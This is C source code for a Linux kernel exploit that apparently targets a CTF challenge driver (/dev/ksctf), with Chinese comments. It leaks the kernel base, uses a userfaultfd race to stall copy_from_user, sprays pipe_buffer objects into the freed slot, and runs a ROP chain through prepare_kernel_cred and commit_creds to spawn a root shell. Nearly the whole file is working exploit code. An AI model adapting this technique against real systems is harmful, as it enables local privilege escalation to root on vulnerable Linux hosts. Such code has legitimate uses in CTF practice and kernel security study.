#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <string.h>
#include <syscall.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <poll.h>
#include <inttypes.h>

#define PAGE_SIZE 4096
// 我们在用 userfaultfd 做啥：在 copy_from_user 卡住时，先把堆给 free 掉然后再申请成可以利用的 pipe_buffer 结构体 此时 copy_from_user 接下来进行的时候就相当于可以改到该结构体

size_t kernel_base;

int fd;
char checkbuf[0x30];
char data[0x400];
int ptmx[0x100];
long long ptr;
int pipe_fd[50][2];
size_t ropchain[100];
size_t pipe_buf[0x200];
size_t user_cs, user_ss, user_rflags, user_rsp;
char c2[48];
void save_status(void)
{
    asm volatile ("mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_sp, rsp;"
        "pushf;"
        "pop user_rflags;"
    );

    puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}


static void *Handler(void *arg)
{
    static struct uffd_msg msg;
    static int fault_cnt = 0;
    long uffd;

    struct uffdio_copy uc;
    ssize_t nread;

    uffd = (long)arg;
    while (1)
    {
        /* See what poll() tells us about the userfaultfd. */
        struct pollfd pollfd;
        int nready;
        pollfd.fd = uffd;
        pollfd.events = POLLIN;
        nready = poll(&pollfd, 1, -1);

        if (nready == -1)
        {
            printf("[-] poll");
            exit(-1);
        }
        /* Read an event from the userfaultfd. */
        nread = read(uffd, &msg, sizeof(msg));

        if (nread == 0)
        {
            printf("[-] read");
            exit(-1);
        }
        if (nread == -1)
        {
            printf("[-] read");
            exit(-1);
        }
        if (msg.event != UFFD_EVENT_PAGEFAULT)
        {
            printf("Unexpected event on userfaultfd\n");
            exit(-1);
        }
        printf("    UFFD_EVENT_PAGEFAULT event: \n");
        printf("flags = %" PRIx64 "; \n", msg.arg.pagefault.flags);
        printf("address = %" PRIx64 "\n", msg.arg.pagefault.address);

        // heap spray
        // 先 free 再申请
        for (int i = 0; i < 32; i++)
        {
            c2[i] = 'a';
        }
        for (int i = 0; i < 16; i++)
        {
            c2[32 + i] = 0;
        }
        c2[32] = 1;
        ioctl(fd, 65521, c2); // 奇怪 到了这里没有输出

        for (int i = 0; i < 50; i++)
        {
            pipe(pipe_fd[i]);
            write(pipe_fd[i][1], "aaaatest", 8);
        }

        uc.src = (unsigned long)pipe_buf;
        uc.dst = msg.arg.pagefault.address & ~(getpagesize() - 1);
        uc.len = 4096;
        uc.mode = 0;
        uc.copy = 0;
        ioctl(uffd, UFFDIO_COPY, &uc);
        break;
    }
}
void *page;
void registerUserfault(void *fault_page, void *handler)
{
    pthread_t thr;
    struct uffdio_api ua;
    struct uffdio_register ur;
    unsigned long long uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK); // Enable the close-on-exec flag for the new userfaultfd file descriptor; 非阻塞才能让双线程有效
    ua.api = UFFD_API;
    ua.features = 0;
    if (ioctl(uffd, UFFDIO_API, &ua) == -1)
    {
        printf("[-] ioctl-UFFDIO_API");
        exit(-1);
    }
    ur.range.start = (unsigned long)fault_page; // 我们要监视的区域
    ur.range.len = PAGE_SIZE;
    ur.mode = UFFDIO_REGISTER_MODE_MISSING;
    if (ioctl(uffd, UFFDIO_REGISTER, &ur) == -1)
    { // 注册缺页错误处理，当发生缺页时，程序会阻塞，此时，我们在另一个线程里操作
        printf("[-] ioctl-UFFDIO_REGISTER");
        exit(-1);
    }
    // 开一个线程，接收错误的信号，然后处理
    int s = pthread_create(&thr, NULL, handler, (void *)uffd);
    if (s != 0)
    {
        printf("[-] pthread_create");
        exit(-1);
    }
}
void get_shell()
{
    if (getuid())
    {
        puts("failed to get root");
        exit(0);
    }
    puts("get root");
    system("/bin/sh");
}

int main()
{
    save_status();
    fd = open("/dev/ksctf", O_RDWR);
    // leak kernelbase
    int note = open("/sys/kernel/notes", O_RDONLY);
    char tmp[0x100] = {0};
    read(note, tmp, 0x100);
    kernel_base = *(long *)(&tmp[0x9c]) - 0x2000;
    size_t offset = kernel_base - 0xFFFFFFFF81000000;
    // 然后看看能不能得到 kaslr 偏移
    size_t pop_rax_ret = 0xffffffff8101040e;
    size_t pop_rdi_ret = 0xffffffff81003e98;
    size_t swapgs_ret = 0xffffffff8105c8f0;
    size_t iretq_ret = 0xffffffff81032b42;
    size_t swap_rsp_rax = 0xffffffff825c8c74;
    // size_t confirm=0xFFFFFFFF811E3350;     // 这一步会被 smap 干掉
    size_t prepare_kernel_cred = 0xFFFFFFFF81098140;
    size_t mov_rdi_rax = 0xFFFFFFFF810FF598;
    size_t commit_creds = 0xFFFFFFFF81097D00;
    size_t push_rsi_pop_rsp = 0xffffffff81599a34; // push rsi; pop rsp; setl al; shl eax, 2; ret; 此时 rsi 是指向的 pipe_buffer
    // mark 一下可以找这样的 gadget
    size_t ret = 0xFFFFFFFF811DCB70;
    printf("offset: %p\n", offset);

    checkbuf[0x20] = 1;
    *(long *)&checkbuf[0x28] = (long)data;
    // userfaultfd
    ioctl(fd, 0xFFF0, checkbuf);
    page = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);
    registerUserfault(page, Handler);

    ptr = *(long long *)data;

    // 0xffffffffa5be3350 FFFFFFFF81C00010 0xffffffffa6600010
    ropchain[0] = pop_rdi_ret + offset;
    ropchain[1] = push_rsi_pop_rsp + offset; // 这是 release 函数
    ropchain[2] = pop_rdi_ret + offset;
    ropchain[3] = 0;
    ropchain[4] = prepare_kernel_cred + offset;
    ropchain[5] = mov_rdi_rax + offset;
    ropchain[6] = commit_creds + offset;
    ropchain[7] = swapgs_ret + offset;
    ropchain[8] = iretq_ret + offset;
    ropchain[9] = (size_t)get_shell;
    ropchain[10] = user_cs;
    ropchain[11] = user_rflags;
    ropchain[12] = user_rsp;
    ropchain[13] = user_ss;
    // 发现情况不一样 把 ropchain 放到 pipe_buf 里面
    pipe_buf[0] = ret + offset;
    pipe_buf[1] = pop_rdi_ret + offset;
    pipe_buf[2] = (size_t)ptr + 0x80; // 这个一定要是 kernel address
    pipe_buf[3] = pop_rdi_ret + offset;
    pipe_buf[4] = 0;
    pipe_buf[5] = prepare_kernel_cred + offset;
    pipe_buf[6] = mov_rdi_rax + offset;
    pipe_buf[7] = commit_creds + offset;
    pipe_buf[8] = swapgs_ret + offset;
    pipe_buf[9] = iretq_ret + offset;
    pipe_buf[10] = (size_t)get_shell;
    pipe_buf[11] = user_cs;
    pipe_buf[12] = user_rflags;
    pipe_buf[13] = user_rsp;
    pipe_buf[14] = user_ss;

    memcpy(pipe_buf + 0x10, ropchain, 120); // 这个实际上是拷贝到 (size_t)pipe_buf + 0x80 的位置了

    write(fd, page, 0x2e0);

    for (int i = 0; i < 50; i++)
    {
        close(pipe_fd[i][0]);
        close(pipe_fd[i][1]);
    }
    return 0;
}